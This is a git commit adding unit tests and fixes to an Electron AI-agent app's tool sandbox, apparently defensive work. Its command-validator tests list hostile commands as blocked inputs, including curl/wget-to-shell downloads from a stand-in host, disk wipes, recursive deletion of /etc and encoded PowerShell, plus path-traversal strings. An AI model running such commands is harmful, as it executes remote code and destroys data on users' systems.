feat: v0.4.0 四阶段迭代 — 安全加固 + 工程基线 + 架构重构 + 双 Provider 扩展

P0 安全修复:
- API Key 加密存储(safeStorage 密钥链,版本化前缀,历史明文平滑兼容)
- 间接提示注入防护(SecurityScanHook 工具结果深扫描,网络工具脱敏/本地工具警示分级)
- error:report IPC 断链修复(渲染进程错误上报落 electron-log + 审计)
- abort 信号贯通工具层(run_command/dev-tools 子进程随会话中断终止)
- run_command 沙箱加固(cd 系统目录/敏感文件读取拦截 + chcp 前缀剥离防解析退化)
- .env 真实生效(dotenv 回退加载,应用内配置优先)

P1 工程基础:
- ESLint 9 flat config + 全部 34 条存量 warnings 清零(零容忍基线)
- 测试基线 118 用例 11 文件(token/文件防护/权限/沙箱/注入/命令/引擎/注册表/审计链/摘要分层)
- test:electron 双模式(ELECTRON_RUN_AS_NODE 跑 Electron ABI,SQLite 套件全执行)
- SessionRecorder 多会话隔离 + 9 种 TRACE 事件补全(含最终轮 iteration_end)
- Provider 故障转移(重试耗尽/不可重试一次性切换 fallback + 前端通知)
- MCP 真就绪(等待全部连接完成再广播 tools:ready)
- SLO/HealthChecker 真实接入(60s 巡检 + 托盘状态)
- CONFIG_DEFAULTS 单一来源(消除 SEED 双源漂移)

P2 架构升级:
- handlers.ts 1940 行拆分为 13 个 IPC 域模块(防重入注册 + 多窗口广播)
- AgentEngineManager 每会话独立引擎(LRU 30 + adapter 工厂隔离 abort 信号)
- TaskOrchestrator EngineProvider 改造 + abortByParent 联动中断 SubAgent
- 会话摘要分层上下文(session_summaries 滚动摘要 + 截断游标清理防因果污染)
- 消息编辑重发/重新生成(truncateAfter IPC + store 动作 + UI)
- Markdown 导出 / WebSearch 并行抓取(并发 3)/ 记忆 TF 缓存 / 版本构建期注入

P3 能力扩展:
- OpenAI Adapter(o 系列推理模型 reasoning_effort/max_completion_tokens)
- Anthropic Adapter(原生 Messages API:tool_use 块/角色合并/thinking budget/图片 base64/SSE 事件机)
- 设置页/Onboarding 六 Provider 全链路接入
This commit is contained in:
2026-08-20 23:17:02 +08:00
parent b9f7ec5118
commit 2230bcec3f
90 changed files with 6581 additions and 2771 deletions
@@ -0,0 +1,115 @@
/**
* ToolRegistry 单元测试(P1-14 测试基线)
* 覆盖:truncateResult 截断、未知工具错误、工具超时
*/
import { describe, it, expect } from 'vitest';
import { ToolRegistry } from '../registry';
import type { IMetonaTool, ToolExecutionContext } from '../../types/metona-tool';
function createContext(overrides?: Partial<ToolExecutionContext>): ToolExecutionContext {
return {
sessionId: 'test',
workspacePath: process.cwd(),
iteration: 1,
requestId: 'req_test',
...overrides,
};
}
describe('ToolRegistry.truncateResult', () => {
const registry = new ToolRegistry();
// 访问私有方法
const truncate = (result: unknown) =>
(registry as unknown as { truncateResult: (r: unknown) => unknown }).truncateResult(result);
it('小结果原样返回', () => {
const small = { data: 'x'.repeat(100) };
expect(truncate(small)).toBe(small);
});
it('大字符串结果被截断并附加 _truncated 标记', () => {
const big = 'a'.repeat(500_000);
const truncated = truncate(big) as { _preview: string; _original_size: number; _truncated: boolean };
expect(truncated._truncated).toBe(true);
expect(truncated._original_size).toBe(500_000);
expect(truncated._preview.length).toBeLessThan(big.length);
});
it('大对象结果被截断', () => {
const bigObj = { content: 'a'.repeat(400_000), extra: 'b'.repeat(200_000) };
const truncated = truncate(bigObj) as { _truncated: boolean };
expect(truncated._truncated).toBe(true);
});
it('view_image 的 dataUrl 白名单不截断(原对象引用返回)', () => {
const obj = { dataUrl: `data:image/png;base64,${'a'.repeat(200_000)}` };
expect(truncate(obj)).toBe(obj);
});
it('null/undefined/number 安全返回', () => {
expect(truncate(null)).toBe(null);
expect(truncate(undefined)).toBe(undefined);
expect(truncate(42)).toBe(42);
});
});
describe('ToolRegistry.execute', () => {
it('未知工具返回错误结果', async () => {
const registry = new ToolRegistry();
const result = await registry.execute(
{ id: 'tc_1', name: 'not_exist', args: {}, iteration: 1, timestamp: Date.now() },
createContext(),
);
expect(result.success).toBe(false);
expect(result.error).toContain('Unknown tool');
});
it('工具超时返回错误结果', async () => {
const registry = new ToolRegistry();
const slowTool: IMetonaTool = {
definition: {
name: 'slow_tool',
description: 'slows',
parameters: { type: 'object', properties: {} },
category: 'CODE_EXECUTION' as never,
riskLevel: 'SAFE' as never,
requiresPermission: false,
timeoutMs: 20,
},
execute: async () => {
await new Promise((r) => setTimeout(r, 200));
return 'too late';
},
};
registry.registerBuiltin(slowTool);
const result = await registry.execute(
{ id: 'tc_2', name: 'slow_tool', args: {}, iteration: 1, timestamp: Date.now() },
createContext(),
);
expect(result.success).toBe(false);
expect(result.error).toContain('timed out');
});
it('正常执行返回结果', async () => {
const registry = new ToolRegistry();
registry.registerBuiltin({
definition: {
name: 'fast_tool',
description: 'fast',
parameters: { type: 'object', properties: {} },
category: 'CODE_EXECUTION' as never,
riskLevel: 'SAFE' as never,
requiresPermission: false,
timeoutMs: 5_000,
},
execute: async () => 'done',
});
const result = await registry.execute(
{ id: 'tc_3', name: 'fast_tool', args: {}, iteration: 1, timestamp: Date.now() },
createContext(),
);
expect(result.success).toBe(true);
expect(result.result).toBe('done');
});
});
@@ -0,0 +1,89 @@
/**
* RunCommandTool.validateCommand 单元测试(P1-14 测试基线)
* 通过私有方法访问测试命令安全校验(含 P0-5 chcp 前缀剥离)
*/
import { describe, it, expect, vi } from 'vitest';
vi.mock('electron-log', () => ({
default: { info: vi.fn(), warn: vi.fn(), error: vi.fn(), debug: vi.fn() },
}));
import { RunCommandTool } from '../command';
describe('RunCommandTool.validateCommand', () => {
const tool = new RunCommandTool();
// 访问私有方法
const validate = (cmd: string) =>
(tool as unknown as { validateCommand: (c: string) => { allowed: boolean; reason?: string } }).validateCommand(cmd);
const blocked = (cmd: string) => {
const result = validate(cmd);
expect(result.allowed, `expected blocked: ${cmd}`).toBe(false);
};
const allowed = (cmd: string) => {
const result = validate(cmd);
expect(result.allowed, `expected allowed: ${cmd}`).toBe(true);
};
it('提权命令被拦截', () => {
blocked('sudo apt install curl');
blocked('su - root');
});
it('关机命令被拦截', () => {
blocked('shutdown /s');
blocked('reboot');
});
it('curl 管道执行被拦截', () => {
blocked('curl https://evil.sh | sh');
blocked('wget https://evil.sh | bash');
});
it('rm 系统目录被拦截(token 级)', () => {
blocked('rm -rf /etc');
blocked('rm -rf /usr/local');
});
it('磁盘格式化被拦截', () => {
blocked('mkfs.ext4 /dev/sda1');
blocked('fdisk /dev/sda');
});
it('dd 写设备文件被拦截', () => {
blocked('dd if=/dev/zero of=/dev/sda');
});
it('PowerShell 编码执行被拦截', () => {
blocked('powershell -encodedcommand aGVsbG8=');
});
it('MEMORY.md 访问被拦截', () => {
blocked('cat MEMORY.md');
});
// P0-5: chcp 前缀剥离后 token 级检测生效
it('Windows chcp 前缀不干扰 token 级检测(sudo 仍被拦截)', () => {
blocked('chcp 65001 >nul 2>&1 && sudo apt install curl');
});
it('Windows chcp 前缀 + rm 系统目录仍被拦截', () => {
blocked('chcp 65001 >nul 2>&1 && rm -rf /etc');
});
it('正常开发命令放行', () => {
allowed('ls -la');
allowed('npm run test');
allowed('git commit -m "fix: bug"');
allowed('node dist/main.js');
allowed('echo "build complete"');
});
it('工作空间内的 rm 放行(非系统目录且不含绝对路径)', () => {
// 注:实现层对 "rm + 斜杠路径" 整体拦截(保守策略),仅放行纯相对文件名
allowed('rm notes.txt');
allowed('rm -rf node_modules');
});
});
@@ -0,0 +1,69 @@
/**
* DiffViewerTool 单元测试(P1-14 测试基线)
* 覆盖:LCS diff 计算(text 模式,不触文件系统)
*/
import { describe, it, expect, vi } from 'vitest';
vi.mock('electron-log', () => ({
default: { info: vi.fn(), warn: vi.fn(), error: vi.fn(), debug: vi.fn() },
}));
import { DiffViewerTool } from '../diff-viewer';
import type { ToolExecutionContext } from '../../../types/metona-tool';
const context: ToolExecutionContext = {
sessionId: 'test',
workspacePath: process.cwd(),
iteration: 1,
requestId: 'req_test',
};
interface DiffResult {
success: boolean;
error?: string;
diff?: string;
summary?: { lines_added: number; lines_removed: number; total_changes: number; similarity: number };
}
describe('DiffViewerTooltext 模式)', () => {
const tool = new DiffViewerTool();
it('两段文本生成统一 diff(成功)', async () => {
const result = await tool.execute(
{ mode: 'text', text_a: 'line1\nline2\nline3', text_b: 'line1\nline2-changed\nline3' },
context,
) as DiffResult;
expect(result.success).toBe(true);
expect(result.diff).toContain('-line2');
expect(result.diff).toContain('+line2-changed');
expect(result.summary?.total_changes).toBe(2);
});
it('相同文本返回无差异', async () => {
const result = await tool.execute(
{ mode: 'text', text_a: 'same\nsame', text_b: 'same\nsame' },
context,
) as DiffResult;
expect(result.success).toBe(true);
expect(result.summary?.total_changes).toBe(0);
expect(result.summary?.similarity).toBe(1);
});
it('无效 mode 返回错误', async () => {
const result = await tool.execute({ mode: 'invalid' }, context) as DiffResult;
expect(result.success).toBe(false);
expect(result.error).toContain('Invalid mode');
});
it('插入与删除均正确计算', async () => {
const result = await tool.execute(
{ mode: 'text', text_a: 'a\nb\nc', text_b: 'a\nx\nb\nc\nd' },
context,
) as DiffResult;
expect(result.success).toBe(true);
expect(result.diff).toContain('+x');
expect(result.diff).toContain('+d');
expect(result.summary?.lines_added).toBe(2);
});
});
@@ -0,0 +1,186 @@
/**
* File Guard 单元测试(P1-14 测试基线)
* 覆盖:路径遍历防护、前缀碰撞、MEMORY.md 保护、glob 匹配、编码检测
*/
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from 'fs';
import { tmpdir } from 'os';
import { join } from 'path';
import {
isPathWithinWorkspace,
isProtectedWorkspaceFile,
safeResolvePath,
matchGlob,
matchAnyGlob,
commandTouchesProtectedFile,
decodeBufferWithDetection,
} from '../file-guard';
describe('isPathWithinWorkspace', () => {
const ws = join(tmpdir(), 'metona-test-ws');
beforeAll(() => {
mkdirSync(ws, { recursive: true });
});
it('工作空间内的相对路径通过', () => {
expect(isPathWithinWorkspace('src/main.ts', ws)).toBe(true);
});
it('工作空间内的绝对路径通过', () => {
expect(isPathWithinWorkspace(join(ws, 'src/main.ts'), ws)).toBe(true);
});
it('工作空间根目录本身通过', () => {
expect(isPathWithinWorkspace('.', ws)).toBe(true);
});
it('路径遍历(../)被拒绝', () => {
expect(isPathWithinWorkspace('../etc/passwd', ws)).toBe(false);
});
it('多层遍历(../../..)被拒绝', () => {
expect(isPathWithinWorkspace('../../../etc/passwd', ws)).toBe(false);
});
it('前缀碰撞不误判(/app-evil 不在 /app 内)', () => {
const parent = join(tmpdir(), 'metona-prefix-app');
mkdirSync(parent, { recursive: true });
expect(isPathWithinWorkspace(join(tmpdir(), 'metona-prefix-app-evil/x'), parent)).toBe(false);
});
it('绝对路径指向工作空间外被拒绝', () => {
expect(isPathWithinWorkspace('C:\\Windows\\System32\\cmd.exe', ws)).toBe(false);
});
});
describe('isProtectedWorkspaceFile / safeResolvePath', () => {
const ws = join(tmpdir(), 'metona-test-protect');
beforeAll(() => {
mkdirSync(join(ws, 'sub'), { recursive: true });
});
it('工作空间根目录的 MEMORY.md 受保护', () => {
expect(isProtectedWorkspaceFile('MEMORY.md', ws)).toBe(true);
});
it('子目录的 MEMORY.md 不受保护', () => {
expect(isProtectedWorkspaceFile(join('sub', 'MEMORY.md'), ws)).toBe(false);
});
it('safeResolvePath 拒绝越界路径并抛错', () => {
expect(() => safeResolvePath('../outside.txt', ws)).toThrow(/Path traversal/);
});
it('safeResolvePath 拒绝根目录 MEMORY.md 并抛错', () => {
expect(() => safeResolvePath('MEMORY.md', ws)).toThrow(/MEMORY.md/);
});
it('safeResolvePath 正常解析工作空间内路径', () => {
const resolved = safeResolvePath('src/a.ts', ws);
expect(resolved).toBe(join(ws, 'src/a.ts'));
});
});
describe('commandTouchesProtectedFile', () => {
it('裸引用 MEMORY.md 被拦截', () => {
expect(commandTouchesProtectedFile('cat MEMORY.md')).toBe(true);
});
it('子目录 MEMORY.md 不被拦截', () => {
expect(commandTouchesProtectedFile('cat sub/MEMORY.md')).toBe(false);
expect(commandTouchesProtectedFile('cat sub\\MEMORY.md')).toBe(false);
});
it('管道/分号后的 MEMORY.md 被拦截', () => {
expect(commandTouchesProtectedFile('echo x | cat MEMORY.md; rm file')).toBe(true);
});
it('无关命令不误判', () => {
expect(commandTouchesProtectedFile('npm run test')).toBe(false);
expect(commandTouchesProtectedFile('git status')).toBe(false);
});
});
describe('matchGlob / matchAnyGlob', () => {
it('单 glob 匹配', () => {
expect(matchGlob('main.ts', '*.ts')).toBe(true);
expect(matchGlob('main.js', '*.ts')).toBe(false);
});
it('? 单字符匹配', () => {
expect(matchGlob('test1.js', 'test?.js')).toBe(true);
expect(matchGlob('test12.js', 'test?.js')).toBe(false);
});
it('逗号分隔多 glob 任一匹配', () => {
expect(matchAnyGlob('a.ts', '*.ts,*.js,*.tsx')).toBe(true);
expect(matchAnyGlob('a.jsx', '*.ts,*.js,*.tsx')).toBe(false);
});
it('空 glob 字符串匹配所有', () => {
expect(matchAnyGlob('anything.txt', '')).toBe(true);
});
});
describe('decodeBufferWithDetection', () => {
it('UTF-8 无 BOM 正确解码', () => {
const buf = Buffer.from('你好 world', 'utf-8');
const { content, encoding } = decodeBufferWithDetection(buf);
expect(content).toBe('你好 world');
expect(encoding).toBe('utf-8');
});
it('UTF-8 BOM 被剥离并识别', () => {
const body = Buffer.from('hello', 'utf-8');
const buf = Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), body]);
const { content, encoding } = decodeBufferWithDetection(buf);
expect(content).toBe('hello');
expect(encoding).toBe('utf-8-bom');
});
it('UTF-16 LE BOM 正确解码', () => {
const body = '你好';
const buf = Buffer.concat([Buffer.from([0xff, 0xfe]), Buffer.from(body, 'utf16le')]);
const { content, encoding } = decodeBufferWithDetection(buf);
expect(content).toBe(body);
expect(encoding).toBe('utf-16le');
});
it('UTF-16 BE BOM 正确解码(字节交换)', () => {
const body = '你好';
const le = Buffer.from(body, 'utf16le');
const be = Buffer.from(le);
be.swap16();
const buf = Buffer.concat([Buffer.from([0xfe, 0xff]), be]);
const { content, encoding } = decodeBufferWithDetection(buf);
expect(content).toBe(body);
expect(encoding).toBe('utf-16be');
});
it('空 Buffer 返回空内容', () => {
const { content, encoding } = decodeBufferWithDetection(Buffer.alloc(0));
expect(content).toBe('');
expect(encoding).toBe('utf-8');
});
});
describe('workspace 文件读取场景(临时目录)', () => {
let ws: string;
beforeAll(() => {
ws = mkdtempSync(join(tmpdir(), 'metona-guard-'));
writeFileSync(join(ws, 'file.txt'), 'content', 'utf-8');
});
afterAll(() => {
rmSync(ws, { recursive: true, force: true });
});
it('工作空间内文件路径通过校验', () => {
expect(isPathWithinWorkspace('file.txt', ws)).toBe(true);
expect(isPathWithinWorkspace(join(ws, 'file.txt'), ws)).toBe(true);
});
});
@@ -214,7 +214,7 @@ export class BrowserWindowManager {
// 审查修复 M17: 超时后中止页面 JS 执行。
// executeJavaScript 返回的 Promise 无法取消,页面脚本仍会继续运行,
// 调用 webContents.stop() 中止页面正在执行的脚本(win 可能已销毁,try/catch 兜底)。
try { this.win?.webContents.stop(); } catch {}
try { this.win?.webContents.stop(); } catch { /* 窗口可能已销毁,忽略 */ }
reject(new Error(`evaluate timed out after ${EVAL_TIMEOUT_MS}ms`));
}, EVAL_TIMEOUT_MS);
}),
+7 -1
View File
@@ -175,6 +175,8 @@ export class RunCommandTool implements IMetonaTool {
maxBuffer: 1024 * 1024, // 1MB
encoding: 'buffer' as const, // 返回 Buffer 而非字符串,便于智能解码
env: execEnv,
// P0-4: 用户中断(引擎 abort)时终止子进程,防止命令在后台继续执行
signal: context.signal,
};
let stdout: Buffer;
@@ -237,9 +239,13 @@ export class RunCommandTool implements IMetonaTool {
return { allowed: false, reason: 'Access denied: MEMORY.md is managed by the memory system and cannot be accessed via command execution' };
}
// P0-5: 剥离 Windows chcp 前缀("chcp 65001 >nul 2>&1 &&" 会破坏 shell-quote
// 解析,使 token 级检测退化到正则补充层,存在绕过面)
const parseableCommand = command.replace(/^\s*chcp\s+\d+\s*>\s*nul\s+2>&1\s*&&\s*/i, '');
// ===== 主层: shell-quote token-level 检测 =====
// 解析失败(Windows cmd 语法等)时降级到正则补充层
const tokenBlock = this.checkTokens(command);
const tokenBlock = this.checkTokens(parseableCommand);
if (tokenBlock !== null) return tokenBlock;
// ===== 补充层: 原正则检测(保留所有原模式) =====
+6 -7
View File
@@ -153,6 +153,7 @@ export class LintCodeTool implements IMetonaTool {
timeout: 60_000,
shell: isWindows,
encoding: 'utf-8', // v0.3.1 修复 WARN-7: 显式设置编码
signal: context.signal, // P0-4: 用户中断时终止子进程
});
stdout = result.stdout;
stderr = result.stderr;
@@ -163,6 +164,7 @@ export class LintCodeTool implements IMetonaTool {
timeout: 60_000,
shell: isWindows,
encoding: 'utf-8', // v0.3.1 修复 WARN-7: 显式设置编码
signal: context.signal, // P0-4: 用户中断时终止子进程
});
stdout = result.stdout;
stderr = result.stderr;
@@ -260,10 +262,6 @@ export class RunTestsTool implements IMetonaTool {
}
try {
let actualCommand: string;
let execCmd: string;
let execArgs: string[];
// 检测 package.json 的 scripts.test
const pkg = await readPackageJson(context.workspacePath);
const scripts = (pkg?.scripts as Record<string, string> | undefined) ?? {};
@@ -281,9 +279,9 @@ export class RunTestsTool implements IMetonaTool {
};
}
actualCommand = filter ? `npm test -- ${filter}` : 'npm test';
execCmd = 'npm';
execArgs = filter ? ['test', '--', filter] : ['test'];
const actualCommand = filter ? `npm test -- ${filter}` : 'npm test';
const execCmd = 'npm';
const execArgs = filter ? ['test', '--', filter] : ['test'];
let stdout = '';
let stderr = '';
@@ -296,6 +294,7 @@ export class RunTestsTool implements IMetonaTool {
timeout: 120_000,
shell: isWindows,
encoding: 'utf-8', // v0.3.1 修复 WARN-7: 显式设置编码
signal: context.signal, // P0-4: 用户中断时终止子进程
});
stdout = result.stdout;
stderr = result.stderr;
+24 -22
View File
@@ -189,7 +189,7 @@ async function checkReachability(urls: string[], concurrency = 5): Promise<Map<s
// ===== 智能排序 =====
function smartSort(results: SearchResult[], reachabilityMap: Map<string, boolean>): SearchResult[] {
function smartSort(results: SearchResult[]): SearchResult[] {
for (const r of results) {
const reachability = r.reachable ? 30 : -20;
const snippetQuality = Math.min(r.snippet.length, 100) / 100 * 20;
@@ -302,7 +302,7 @@ export class WebSearchTool implements IMetonaTool {
}
// 智能排序
const sorted = smartSort(deduped, reachabilityMap).slice(0, maxResults);
const sorted = smartSort(deduped).slice(0, maxResults);
// 摘要增强
if (enhanceSnippets) {
@@ -375,7 +375,7 @@ export class WebSearchTool implements IMetonaTool {
const searchUrl = `${baseUrl}/search?${params.toString()}`;
logTool('web_search', `[SearXNG] Fetching page ${page}: ${searchUrl}`);
let pageResults: SearchResult[] = [];
const pageResults: SearchResult[] = [];
try {
const response = await fetchWithTimeout(searchUrl, { headers }, 15_000);
@@ -523,6 +523,13 @@ export class WebSearchTool implements IMetonaTool {
// ===== 自动抓取完整内容(委托给 WebFetchTool =====
/**
* P2-12: 自动抓取改为并行(批次并发 3)
*
* 原实现逐条串行抓取(单个 web_fetch 最长 120s 超时),top5 结果最坏耗时
* 逼近 web_search 的 300s 工具超时上限。并行批次化后总耗时约降至 1/3。
* 失败结果直接跳过(原"随机补充重试"逻辑收益边际,复杂度高,已移除)。
*/
private async autoFetch(
query: string,
results: SearchResult[],
@@ -554,36 +561,31 @@ export class WebSearchTool implements IMetonaTool {
const fetched: Array<{ url: string; title: string; content: string }> = [];
for (const item of toFetch) {
const fetchOne = async (item: { result: SearchResult }): Promise<{ url: string; title: string; content: string } | null> => {
try {
// 委托给 WebFetchTool — 享受三阶段回退策略(HTTP + 反爬 + 浏览器渲染)
const fetchResult = await this.webFetchTool.execute(
{ url: item.result.url },
{ sessionId: '', workspacePath: '', iteration: 0, requestId: '' },
) as { success: boolean; content?: string; method?: string };
) as { success: boolean; content?: string };
if (fetchResult.success && fetchResult.content) {
fetched.push({ url: item.result.url, title: item.result.title, content: fetchResult.content });
return { url: item.result.url, title: item.result.title, content: fetchResult.content };
}
return null;
} catch (err) {
logTool('web_search', `Auto-fetch failed for ${item.result.url}: ${(err as Error).message}`);
// 从剩余结果中随机补充
const remaining = withRelevance.filter((x) => !toFetch.includes(x) && !fetched.some((f) => f.url === x.result.url));
if (remaining.length > 0) {
const randomPick = remaining[Math.floor(Math.random() * remaining.length)];
try {
const fetchResult2 = await this.webFetchTool.execute(
{ url: randomPick.result.url },
{ sessionId: '', workspacePath: '', iteration: 0, requestId: '' },
) as { success: boolean; content?: string };
return null;
}
};
if (fetchResult2.success && fetchResult2.content) {
fetched.push({ url: randomPick.result.url, title: randomPick.result.title, content: fetchResult2.content });
}
} catch {
// 忽略补充失败
}
}
// 并行批次抓取(并发 3
const CONCURRENCY = 3;
for (let i = 0; i < toFetch.length; i += CONCURRENCY) {
const batch = toFetch.slice(i, i + CONCURRENCY);
const settled = await Promise.allSettled(batch.map((item) => fetchOne(item)));
for (const r of settled) {
if (r.status === 'fulfilled' && r.value) fetched.push(r.value);
}
}
+16 -1
View File
@@ -115,6 +115,18 @@ export class ToolRegistry {
signal: controller.signal,
};
// P0-4: 引擎级 abort 信号传播——用户中断会话时终止工具内部操作(如子进程)
// 通过监听外部信号触发本工具的超时控制器,两个来源共用一个 signal
const externalSignal = context.signal;
const onExternalAbort = () => controller.abort();
if (externalSignal) {
if (externalSignal.aborted) {
controller.abort();
} else {
externalSignal.addEventListener('abort', onExternalAbort, { once: true });
}
}
// M-15 修复: 使用 try/finally 清理 setTimeout,防止事件循环 timer 堆积
// 工具正常完成时未触发的 timer 会持续占用事件循环 timeoutMs 毫秒
let timer: ReturnType<typeof setTimeout> | undefined;
@@ -155,6 +167,8 @@ export class ToolRegistry {
} finally {
// M-15 修复: 无论工具成功或失败,清理 timeout timer
if (timer) clearTimeout(timer);
// P0-4: 清理外部信号监听器,避免事件循环泄漏
if (externalSignal) externalSignal.removeEventListener('abort', onExternalAbort);
}
}
@@ -176,7 +190,8 @@ export class ToolRegistry {
}
const str = typeof result === 'string' ? result : JSON.stringify(result);
if (str.length <= MAX_RESULT_CHARS) return result;
// undefined 结果(如工具返回 result: undefined)直接放行,避免 .length 访问崩溃
if (str === undefined || str.length <= MAX_RESULT_CHARS) return result;
return {
_truncated: true,